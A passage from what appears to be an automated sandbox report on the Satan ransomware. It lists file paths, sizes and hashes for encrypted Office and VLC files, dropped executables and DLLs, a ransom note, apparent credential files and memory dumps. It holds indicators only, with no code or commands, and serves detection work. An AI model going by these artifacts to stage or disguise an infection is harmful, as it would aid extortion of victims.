
SHA512
1c9a30d43bd1a791ffcd0c8ff6108bc83f6fb9b803a80d27e8395985106746afe294084b3c87e72ff02a7dce84991416c5a7ef316262e08d4c8afe1b3ac378a0

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BabyBlue\[[email protected]]TAB_OFF.GIF.dbger

Filesize
486B

MD5
d0fadec2da7338b7e98094768b8adc44

SHA1
f2769a1a8fde37bc93da5f7b92546dc3ba4ca1a4

SHA256
5b4b5ee397267b72648fc56f2441f91f289dfd1fc8c2e0cbb935372aedf2ad4c

SHA512
4d27337f0fc997f9973243928b670efa74e11f3347116a3a36a345f94e8f474da7df4f7ddce6c94e675dc5c6bd5b0228e1b3f3552c49e78ebb93a00d527110c2

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Biscay\[[email protected]]TAB_ON.GIF.dbger

Filesize
367B

MD5
63ab5dc5be517e0d0feb79e22cd5b540

SHA1
335a4074d1fd20719c4bbd4489f59a2ad4486686

SHA256
c977e9447e187afc8c2b208a9d84da6b71e5ec2c2fe6ed1742c2b32a1f0220c1

SHA512
358e402bd3ab4dd915a961075f551e45ace55193e7eb0f682a0098158a77e79039ce19a591eeec4a6d4a7143a13f335c442183eb6d2a85aad8e607371e68f85a

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BrightOrange\[[email protected]]BUTTON.GIF.dbger

Filesize
330B

MD5
1cdc5c57d200ec449d11255ac9b22901

SHA1
e012fb4d54299d82429844192c2a3e651a62a5c7

SHA256
0c0416a1b3e3e45fd83ffffcdef2aaf30ad85632f61ce6ca7aafb5fa2d690ea3

SHA512
39e8135e02cc7fd2b1b7242443c003128b47f43721182f16cff89a736e60b208543fb75eed691d7e40984e3b61ad5e03667b6dfe9de5a5fdbf07674ca844e8ae

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\GrayCheck\[[email protected]]TAB_ON.GIF.dbger

Filesize
367B

MD5
7859b2736086541126ee948a39d0375c

SHA1
d206a9beb6995b35dac41111e2cf4a44f8b0c3e0

SHA256
23826a93eb4f8c820eefc0a8851cc344f62e160332136880cbeb80a433e50b62

SHA512
2a4853251fc72aab7d37822e416e63e4686194eb01be9055a2e3b4121e03653448f4576722be829e4ac58f64fc30c0582d7125b772707058a8e1a1fc66f0acdd

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\[[email protected]]SCHEME39.CSS.dbger

Filesize
121KB

MD5
6d59cbc0422b0b7a306eda75448c72e2

SHA1
8e5f27f3bb193fc829dca897bf6aa241a5c2c1e2

SHA256
fac9b76347c78c0496c24aab2af6146713e3e591c3fa89fc81b1e57283a31582

SHA512
c5f6197037db28cd09aa8134fb861d624382f61e959c55fb9d653400582ae885ec7b62355e3cb9e36ab716f935be87ac0f914e727893db830240748726f012c5

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\[[email protected]]SCHEME54.CSS.dbger

Filesize
124KB

MD5
7381b401d00b57f839ea07ad3b342f10

SHA1
fe183550098885af5801f7075d1f3962eef7be88

SHA256
b8dfa212a0788152fb55ff000f1ba18e9730f3cc568d1e6e159dc5db94773210

SHA512
8e6cd6d44d2f43324f605b6da11308ab4293e725dd07757cd9ca54c8c9708b612bac746f360191925898a46b9f1cb6c1e35a5bd01cd23c0ac1dd9379f5b62d16

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]EXCEL_K_COL.HXK.dbger

Filesize
258B

MD5
cb5aaf80bd58ef5fe976f23a66fe7bca

SHA1
d951f32ec526a1d0855c4dfdbcae9d473c7af283

SHA256
2e41a9ff330d3b56b8063ee20344e645d01689909a68add57fc4b1575f78b691

SHA512
01471a695e88dab77eb0754829cface823750a56d98c23f729d5aee14ddc414b2154e7bc5214ef77a0254c940135e5ca73d16a00dcb081f16fbd42c4b7886780

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]GRAPH_F_COL.HXK.dbger

Filesize
259B

MD5
c8cbcb1da2a43b62f194e6a090a09a29

SHA1
d473131e5dfdca72011bb37df90a6ded274e1f30

SHA256
d7234571a80fb8277adc4e0ed1d98d23d0b6982fd9a863cc31cb689c16e23029

SHA512
778122bf936b4edbd0fecbb1caf90e368209aa806989f5c961e71e8b5cd5c4e164426c79320218fc1aedbaa8089692c3758dc5e0e14692bae2238a78f7d51675

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]MSACCESS.DEV_K_COL.HXK.dbger

Filesize
258B

MD5
6459a948c26d986b5bbf1d395b79bea1

SHA1
e9c080d9d065e747305f7b5156312dc8a98dc748

SHA256
5af442ad21cd07229fb1d8f0b1561676571b55598639bbaf97b3f6ce99622bc6

SHA512
3821f2544c8e31bb07a5c7854f2815cdb35a203093d47cc2852ad5888e8dee11378617e1857d8e38534e767213d6b79cd069afade18af0e737598723a67caa5b

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]MSOUC_F_COL.HXK.dbger

Filesize
259B

MD5
cd19fbf5c7ea42fb22e3345c3826cc0a

SHA1
e3aec22a0f6059315477707a40448d6cecf692bf

SHA256
7775555b6d5dad1179d5d004209aea75e035bbc35062b6c07bb1b068ae1a496a

SHA512
52093a94599c639b7da8b2026f15fc5a4c406f28535c9d606365b6e3e48146ed50d32fe8ebe89005f6a3bca1c91683fdd66f0fddd8a0915791642e2fe8a11e8f

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]MSPUB.DEV_K_COL.HXK.dbger

Filesize
258B

MD5
fd97354f7c412fadd322785da8f1ffdb

SHA1
20fab049eb988062f7eb9b86fe2d66b4029282bc

SHA256
e48c7a0a0fa6df92a26099362b86a676b42b03224b69805a19de48e62358f4b6

SHA512
c30fd150d40730ed778b375768c8d93bb8f068b3c38ae231b9ed2abaf8713fa87e7c43f63f97527d0c67811637fe23da7711d793d80c4c85545f37c99a625acd

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]MSTORE_K_COL.HXK.dbger

Filesize
258B

MD5
8f7dcccc0dcbacb733e7f93654818c20

SHA1
a6f364cc0587d485d414ee49d0c212046466e1c3

SHA256
b9b2f04dd2e92437828b6ad55707a3d492e53adb6d3734180869d924ccd280d5

SHA512
dde0c2f32b4ad1b41fb397d95051c72f553046aad86f07831612b814dd2cc3da02e740cddb16877a6aef5a1231c2e2dcd1b1e262850ab184de952acf215e87fa

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]OIS_F_COL.HXK.dbger

Filesize
259B

MD5
82576b20151281a19c3e240592fc3e31

SHA1
3738681259977c06f96158306259b0a47ff45abb

SHA256
329990284a9862dfa935473ea07c4c0759bce2c24bc45ae003030bc0c4141225

SHA512
9027509037fd7406b2217e6580b8e9297bcb3682c31a06ff46bb30fb2f7555ff081b05cf5733ee2903a390b17353b356a4129c98f037cb8e34106f969bd1fc05

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]OUTLOOK.DEV_F_COL.HXK.dbger

Filesize
259B

MD5
4a04d96ef480421639adeebca7544a34

SHA1
f8e63205b1c52a167ee4c006736959fcba1c6a06

SHA256
94fe3808d3dcf62f9a63729e8d5a375d7fadc9765a28e5bd6a5b6d64842b146b

SHA512
cb3d903c92ef9d32079556effb4ce86cbdf8feaaad4048467873dcc158cc79139305ebf986a49c941e67a75c44a04a7e0ba89d65217d299f85c89e74cbb31fce

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]POWERPNT.DEV_K_COL.HXK.dbger

Filesize
258B

MD5
7d89a2903e35ac7609d1028efac7e1d2

SHA1
480d0dcacdf04db93b3d99f4dcf6da80cabaed43

SHA256
66c5efbc7a9556840f4318c42393251584576e44be5b8bd8a106bd8e3f01eeca

SHA512
ebd3f9a37bc117ab55ed4cd1aa6a5c759e32c58300e7025ae516ba49b4ef97609e574eeefe89a31c63364bc6aa0595d51cb7658645db70ffb636b5e614cc2aa3

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\[[email protected]]WINWORD_K_COL.HXK.dbger

Filesize
258B

MD5
0b9589484b1a97d0c0c58bb1702e278b

SHA1
72e719415a17a63ef972e1e42c78b1251e9420bc

SHA256
2b4fe4a5bee7e1b19be7b32955b638cd36423736f1786e34e3783ae6492b3945

SHA512
8dd57b824872f8f7b1f2267bd179ec05b70b311543b30983f72fc004ad635a00b120e7c9b8ae5a5e75933eee9c363fb5c1c9d0591c304f2b5ea1b69f546f2fad

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\[[email protected]]SIST02.XSL.dbger

Filesize
239KB

MD5
9111f49a32c79ec3cc042a8f4f18f887

SHA1
03d9ed9289db4545b98c91c92d12679f3d7a7a0b

SHA256
669b849f08ac47272c5a6a4e861864f9315bdba8e9b221d907a73929011c9a65

SHA512
791902175dbb187836958210d3e43ef4e3df9d720f709f75e37d79c3dddc46de62723805cca44ef40cdaf5fd218d23fa3ce0961dd3d9f77e65ffe84ff8a9ed13

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\[[email protected]]DataViewIconImages.jpg.dbger

Filesize
5KB

MD5
b044b05e41b11c9e051294f355f019fa

SHA1
2549555fa50b3df672a1d4ae845954108fb5d533

SHA256
3622f6fcd1ffd9f5bda62c508f59830032a40fcfe6a1531484ee32725bf32a25

SHA512
cf64443dc7398f313476803efa913333e80282e06a5831d0bac6d3e2c59c6dd892922045e21ea1c6aab42f3460ab2acb2ebb2c6cb6ebea8c01bc86fc73004d4b

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\[[email protected]]EXLIRMV.XML.dbger

Filesize
77KB

MD5
44dd138547550d754c8ea73d4d6b1d14

SHA1
ee542a7cd7bf3dc8dd7b63e087945745a9bc4916

SHA256
f996f84b2a2f6a64b827965b90d44e455398ec3c007bf1bc99aca9038a087086

SHA512
5ac948acb66199c9bd688ed98dca8de41068c158b74e1a0a43f222a8763aee166cf78858d2c8e72ec7f26b6c5f5a382f109b3ba690bbfae1017cc8df5e1751aa

Download Submit
C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\[[email protected]]vlc.mo.dbger

Filesize
584KB

MD5
56bd53bf047f39a02cb79969cc0d75ae

SHA1
15f590786eca523fdc92ca45ddd5fc50f5e345be

SHA256
0f57efe0125c6c5d00f63268a04253296fd8e7314006c0d87090d1b280a2dd27

SHA512
d27de7753c9ebfa8a1dbfd3cd55afc893c3585104696a167af9cfd8aa6e1bf2a8277fb9d243d7c515f890648dfc46ed510fe4f7342e246d6b6207b47b0b1076f

Download Submit
C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\[[email protected]]vlc.mo.dbger

Filesize
614KB

MD5
b87650bdeca923dedb1c425b5e9c3299

SHA1
de0528bd84033b40bb629c69a145358cc077578e

SHA256
7294d4b02ca41ca10db93438b1595e8175a27bd1e4dfd2c57a37240f4feda2b7

SHA512
32610730269b1a613491abef2fcc725283e93ef508e3d35677a042f98cd435542a2bd092530bee9624cca325f3dd9f97db8be9c908d04fe04a695e4cb71c5cd7

Download Submit
C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\[[email protected]]vlc.mo.dbger

Filesize
672KB

MD5
d2ee50a4e04f6d7f97363d72d2d4969a

SHA1
2ab4e43678ee605ac89e57b0798dbcf9b5592c35

SHA256
a7a5a1f0a7fd2d3fb2ce3f489974ae6d27545a65aac5befa7555e047ef095908

SHA512
2106a4a315dd4f23fb65cc92085dafc197ec1ac63651b4f548c5bb2dfb78f60471311c1567fb38071b35a7f8d201a9a6745f9b6347ab4fa45953887740ae0052

Download Submit
C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\[[email protected]]vlc.mo.dbger

Filesize
577KB

MD5
2cfc6b3bed99aa8443dc19199cde9b8a

SHA1
e4c92d42a431e4cbfc9c1f667d848bf3e907d15b

SHA256
98ab36c4ee8e4026c25e402d0cb71323e5716ad4703c6725821d9ae57e1df000

SHA512
e6f8c3fcc71a3564956e5f6065b28f8c746241f9b20868ca6a0ef869418bc228534d57b0319430f4146c8609d2a5d80393a8640c1bcfd06972c25e66db427cc6

Download Submit
C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\[[email protected]]vlc.mo.dbger

Filesize
771KB

MD5
3d1d25558b96d30af6ddb1cd3848819b

SHA1
aba176df49060d84316b8368f660b0adfe40805b

SHA256
97483180a9c6e1b337e2ba2982fd596445749b8fe8dc8426adec1d9afd6ff9dc

SHA512
c2ded8ccff75100c2c33a0698553b768731867c7b74e60d960fbe0d35abdad90f97711c357d67f81a8f5edaa3386a3572184d94a07e8bc50eb9e3874952e56a2

Download Submit
C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\[[email protected]]vlc.mo.dbger

Filesize
550KB

MD5
7e9feddb2589a8b28694ee5231d3e9de

SHA1
c461cae8b01cabffaf3877cdef9bfe54975bb61f

SHA256
cf0d74f39caa1cc33cd0e781f21902ea2a9b2af0c67c647fffd8423647a4a58f

SHA512
dc278fd58953a08dd7e26d93abd50e08ff98f45019b1c91520aed7033e88ad6794143d8c61e35b376da1742d4150087f01ae567cd4899b442fbc64ef408a5404

Download Submit
C:\ProgramData\blue.exe

Filesize
126KB

MD5
8c80dd97c37525927c1e549cb59bcbf3

SHA1
4e80fa7d98c8e87facecdef0fc7de0d957d809e1

SHA256
85b936960fbe5100c170b777e1647ce9f0f01e3ab9742dfc23f37cb0825b30b5

SHA512
50e9a3b950bbd56ff9654f9c2758721b181e7891384fb37e4836cf78422399a07e6b0bfab16350e35eb2a13c4d07b5ce8d4192fd864fb9aaa9602c7978d2d35e

Download Submit
C:\ProgramData\blue.xml

Filesize
7KB

MD5
f56025565de4f53f5771d4966c2b5555

SHA1
b22162a38cdd4b85254b6c909a9e5210711d77af

SHA256
ea7caa08e115dbb438e29da46b47f54c62c29697617bae44464a9b63d9bddf18

SHA512
1cbb2f9f750faf009b9cc5831205db3aa2271fcc3cb37c126a8ef093a039bde8ad699e6a9f7dbb1ce91ab9e90ac5c14d0ad2d97cca21ee7ab4c1cc6b6832e3b2

Download Submit
C:\ProgramData\down64.dll

Filesize
5KB

MD5
562df8e4eabe900aef8a6f6642316cde

SHA1
b11ad3aea0c0fe070efc9d65afece669e0270ffc

SHA256
8d579d65b4c0e208aabeb79683e7f9f00cbeac3a3965ce85d4cb08d06897a6c0

SHA512
742408974c404a440c3c0f7bd867412561153cd299a4b36a7ae9dadfff796a28773fc590ccd98086267bc2d330e9c91b740abebf61c70c87faeef73f8b28a2dd

Download Submit
C:\ProgramData\mmkt.exe

Filesize
982KB

MD5
44da7cc6c18108a0a9eb5a8cfb985faa

SHA1
3e0c81e1646cc61bf9a7774aa8f71f83aeb08eea

SHA256
94982535040245873ff776ee3a431037c018f4c0ed586c8399c017a96703e6a3

SHA512
a4fce1a3df1d7d20ac3531da45199ad2767ecdc1bf5ef8477b6ea8429b83e07dd30c9c6f2cf08955951a6971b30ad3c2c2a65e9879f0a9914fbcfbbb0ebdb107

Download Submit
C:\ProgramData\star.xml

Filesize
5KB

MD5
09d45ae26830115fd8d9cdc2aa640ca5

SHA1
41a6ad8d88b6999ac8a3ff00dd9641a37ee20933

SHA256
cf33a92a05ba3c807447a5f6b7e45577ed53174699241da360876d4f4a2eb2de

SHA512
1a97f62f76f6f5a7b668eadb55f08941b1d8dfed4a28c4d7a4f2494ff57e998407ec2d0fedaf7f670eb541b1fda40ca5e429d4d2a87007ec45ea5d10abd93aa5

Download Submit
C:\Satan.exe

Filesize
143KB

MD5
15b8514837bae0a32d313e1086515120

SHA1
f453bc1ea90106b8b97dd8abd55dd4c81ac303d3

SHA256
d02761e61d72fe98c0f1614124996af332ad2905690391573d2f0608bf1da63d

SHA512
4f85367e00908f8c2a4c0445ab2415e2eac70244b6a8bfd5f04901e7fa5fd8f7c6e3386cb4edb07a6a145de1c2f7d51f2e9e46426f603fbfb0bf4d0ca963efaf

Download Submit
C:\Users\All Users\uname

Filesize
21B

MD5
8bb001ad1da746851b6724de8c78d37e

SHA1
ce718e040a87289b21a254df474b2da9d8cb8c9c

SHA256
68c368f677aa42a63a8a7a2865a31b6359db76179667814867bef528d99e94f3

SHA512
5904bd71d89bfa5b81a9d303ad90421d7d5bfe875cf107329053b1650243cde752689b824984eb87c00b696d091c02ba62e3fc082ea45385240f69ad0c62eb26

Download Submit
C:\Users\All Users\upass

Filesize
39B

MD5
c264d30305ac92dc29b56d3bfe28bcf1

SHA1
a7d81403c03c73a81be8cae33febc9892c2b6311

SHA256
2d2222d284d3783c074698948706b50edd90eec1fd6175eec32e1516e78d888a

SHA512
171dda2e161585c1fb0407ffc0bbe1c5e547e255655a77ca62e079bcf42bd0add50cf88c027a0293825525a5fdc73f9f9f8ffe16873c7a7511c3327c707a62b1

Download Submit
C:\_How_to_decrypt_files.txt

Filesize
1KB

MD5
b8bf382183da6f0a7d57920e3c20f7bf

SHA1
449c87b3ce75bee0bae2604d56dd4791eb2cc6ff

SHA256
7175be773e69d185f3ee853820bfe4aa02d91c53f8d7f22758ff3bd888331044

SHA512
2614ba1fbf667683ab5ebb4fd24f85e90406d849b73e60c1369252398d11e45f4683677717a242cc8839c5a4e0a185492783c4d763e11ced2cf53aadd060a6e0

Download Submit
\ProgramData\cnli-1.dll

Filesize
98KB

MD5
a539d27f33ef16e52430d3d2e92e9d5c

SHA1
f6d4f160705dc5a8a028baca75b2601574925ac5

SHA256
db0831e19a4e3a736ea7498dadc2d6702342f75fd8f7fbae1894ee2e9738c2b4

SHA512
971c7d95f49f9e1ae636d96f53052cfc3dbdb734b4a3d386346bf03ca78d793eaee18efcae2574b88fdee5633270a24db6c61aa0e170bcc6d11750dbd79ad0af

Download Submit
\ProgramData\coli-0.dll

Filesize
15KB

MD5
3c2fe2dbdf09cfa869344fdb53307cb2

SHA1
b67a8475e6076a24066b7cb6b36d307244bb741f

SHA256
0439628816cabe113315751e7113a9e9f720d7e499ffdd78acbac1ed8ba35887

SHA512
d6b819643108446b1739cbcb8d5c87e05875d7c1989d03975575c7d808f715ddcce94480860828210970cec8b775c14ee955f99bd6e16f9a32b1d5dafd82dc8c

Download Submit
\ProgramData\crli-0.dll

Filesize
17KB

MD5
f82fa69bfe0522163eb0cf8365497da2

SHA1
75be54839f3d01dc4755ddc319f23f287b1f9a7b

SHA256
b556b5c077e38dcb65d21a707c19618d02e0a65ff3f9887323728ec078660cc3

SHA512
d9cfc2af1c2e16171f3446991a3ffb441db39bfaea3c8993aace632088ea1b3a64f81aad10b0f8788804876c66374edf0cb7ecb0d94005d648744e67ac537db5

Download Submit
\ProgramData\exma-1.dll

Filesize
10KB

MD5
ba629216db6cf7c0c720054b0c9a13f3

SHA1
37bb800b2bb812d4430e2510f14b5b717099abaa

SHA256
15292172a83f2e7f07114693ab92753ed32311dfba7d54fe36cc7229136874d9

SHA512
c4f116701798f210d347726680419fd85880a8dc12bf78075be6b655f056a17e0a940b28bbc9a5a78fac99e3bb99003240948ed878d75b848854d1f9e5768ec9

Download Submit
\ProgramData\libeay32.dll

Filesize
882KB

MD5
f01f09fe90d0f810c44dce4e94785227

SHA1
036f327417b7e1c6e0b91831440992972bc7802e

SHA256
5f30aa2fe338191b972705412b8043b0a134cdb287d754771fc225f2309e82ee

SHA512
90ffb4e11ab1227afda2f08d72d06aedf663a28a47fccd9c032f4044aa497093ac774e20860913d5123cc3143cb9b7dbdda363b3f58473508027508e07c4ef12

Download Submit
\ProgramData\libxml2.dll

Filesize
807KB

MD5
9a5cec05e9c158cbc51cdc972693363d

SHA1
ca4d1bb44c64a85871944f3913ca6ccddfa2dc04

SHA256
aceb27720115a63b9d47e737fd878a61c52435ea4ec86ba8e58ee744bc85c4f3

SHA512
8af997c3095d728fe95eeedfec23b5d4a9f2ea0a8945f8c136cda3128c17acb0a6e45345637cf1d7a5836aaa83641016c50dbb59461a5a3fb7b302c2c60dfc94

Download Submit
\ProgramData\posh-0.dll

Filesize
11KB

MD5
2f0a52ce4f445c6e656ecebbcaceade5

SHA1
35493e06b0b2cdab2211c0fc02286f45d5e2606d

SHA256
cde45f7ff05f52b7215e4b0ea1f2f42ad9b42031e16a3be9772aa09e014bacdb

SHA512
88151ce5c89c96c4bb086d188f044fa2d66d64d0811e622f35dceaadfa2c7c7c084dd8afb5f774e8ad93ca2475cc3cba60ba36818b5cfb4a472fc9ceef1b9da1

Download Submit
\ProgramData\ssleay32.dll

Filesize
180KB

MD5
5e8ecdc3e70e2ecb0893cbda2c18906f

SHA1
43f92d0e47b1371c0442c6cc8af3685c2119f82c

SHA256
be8eb97d8171b8c91c6bc420346f7a6d2d2f76809a667ade03c990feffadaad5

SHA512
b41a1b7d149e8d67881a4cb753d44be0c978577159315025e03a90efbe5157fc7e5f6deb71a4c66739302987406ca1410973f8598220de4d89ebc4fcb3c18af5

Download Submit
\ProgramData\star.exe

Filesize
44KB

MD5
c24315b0585b852110977dacafe6c8c1

SHA1
be855cd1bfc1e1446a3390c693f29e2a3007c04e

SHA256
15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13

SHA512
81032d741767e868ec9d01e827b1c974b7c040ff832907d0a2c4bdc08301189b1de3338225587eddf81a829103392f454ba9d9685330b5f6706ea2977a6418e2

Download Submit
\ProgramData\tibe-2.dll

Filesize
232KB

MD5
f0881d5a7f75389deba3eff3f4df09ac

SHA1
8404f2776fa8f7f8eaffb7a1859c19b0817b147a

SHA256
ca63dbb99d9da431bf23aca80dc787df67bb01104fb9358a7813ed2fce479362

SHA512
f266baecae0840c365fe537289a8bf05323d048ef3451ebffbe75129719c1856022b4bddd225b85b6661bbe4b2c7ac336aa9efdeb26a91a0be08c66a9e3fe97e

Download Submit
\ProgramData\trch-1.dll

Filesize
58KB

MD5
838ceb02081ac27de43da56bec20fc76

SHA1
972ab587cdb63c8263eb977f10977fd7d27ecf7b

SHA256
0259d41720f7084716a3b2bbe34ac6d3021224420f81a4e839b0b3401e5ef29f

SHA512
bcca9e1e2f84929bf513f26cc2a7dc91f066e775ef1d34b0fb00a54c8521de55ef8c81f796c7970d5237cdeab4572dedfd2b138d21183cb19d2225bdb0362a22

Download Submit
\ProgramData\trfo-2.dll

Filesize
29KB

MD5
3e89c56056e5525bf4d9e52b28fbbca7

SHA1
08f93ab25190a44c4e29bee5e8aacecc90dab80c

SHA256
b2a3172a1d676f00a62df376d8da805714553bb3221a8426f9823a8a5887daaa

SHA512
32487c6bca48a989d48fa7b362381fadd0209fdcc8e837f2008f16c4b52ab4830942b2e0aa1fb18dbec7fce189bb9a6d40f362a6c2b4f44649bd98557ecddbb6

Download Submit
\ProgramData\tucl-1.dll

Filesize
9KB

MD5
83076104ae977d850d1e015704e5730a

SHA1
776e7079734bc4817e3af0049f42524404a55310

SHA256
cf25bdc6711a72713d80a4a860df724a79042be210930dcbfc522da72b39bb12

SHA512
bd1e6c99308c128a07fbb0c05e3a09dbcf4cec91326148439210077d09992ebf25403f6656a49d79ad2151c2e61e6532108fed12727c41103df3d7a2b1ba82f8

Download Submit
\ProgramData\ucl.dll

Filesize
57KB

MD5
6b7276e4aa7a1e50735d2f6923b40de4

SHA1
db8603ac6cac7eb3690f67af7b8d081aa9ce3075

SHA256
f0df80978b3a563077def7ba919e2f49e5883d24176e6b3371a8eef1efe2b06a

SHA512
58e65ce3a5bcb65f056856cfda06462d3fbce4d625a76526107977fd7a44d93cfc16de5f9952b8fcff7049a7556b0d35de0aa02de736f0daeec1e41d02a20daa

Download Submit
\ProgramData\xdvl-0.dll

Filesize
31KB

MD5
5b72ccfa122e403919a613785779af49

SHA1
f560ea0a109772be2b62c539b0bb67c46279abd1

SHA256
b7d8fcc3fb533e5e0069e00bc5a68551479e54a990bb1b658e1bd092c0507d68

SHA512
6d5e0fef137c9255244641df39d78d1180172c004882d23cf59e8f846726021ba18af12deb0e60dfe385f34d7fb42ae2b5e54915ffa11c42d214b4fbfad9f39d

Download Submit
\ProgramData\zlib1.dll

Filesize
59KB

MD5
e4ad4df4e41240587b4fe8bbcb32db15

SHA1
e8c98dbcd20d45bbbbf4994cc4c95dfcf504c690

SHA256
aa8adf96fc5a7e249a6a487faaf0ed3e00c40259fdae11d4caf47a24a9d3aaed

SHA512
4ab69ab79b721b62f8a1194eb5d5b87e545f280d017ea736109e59c4dd47921af63f135a2b7930a84649b5672f652831aa7e73edd8ab6523e6d94c7d703f9716

Download Submit
memory/2112-1823-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-8277-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-928-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-1416-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-48-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-10235-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-52-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-9744-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-2014-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-9256-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-2502-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-56-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-2993-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-204-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-3430-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-210-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-3921-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-8768-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-4409-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-443-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-4900-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-7789-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-5388-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-7298-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-5879-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-6858-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2112-6367-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2904-205-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-0-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-7054-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-5584-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-7542-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-5144-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-8033-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-1169-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-4656-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-248-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-243-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-8521-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-1-0x0000000000A84000-0x0000000000A85000-memory.dmp

Filesize
4KB

Download
memory/2904-3189-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-6563-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-4165-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-3677-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-207-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-10431-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-6075-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-1660-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-203-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-687-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-58-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-2698-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
memory/2904-55-0x00000000030E0000-0x0000000003165000-memory.dmp

Filesize
532KB

Download
memory/2904-2210-0x0000000000400000-0x0000000000A86000-memory.dmp

Filesize
6.5MB

Download
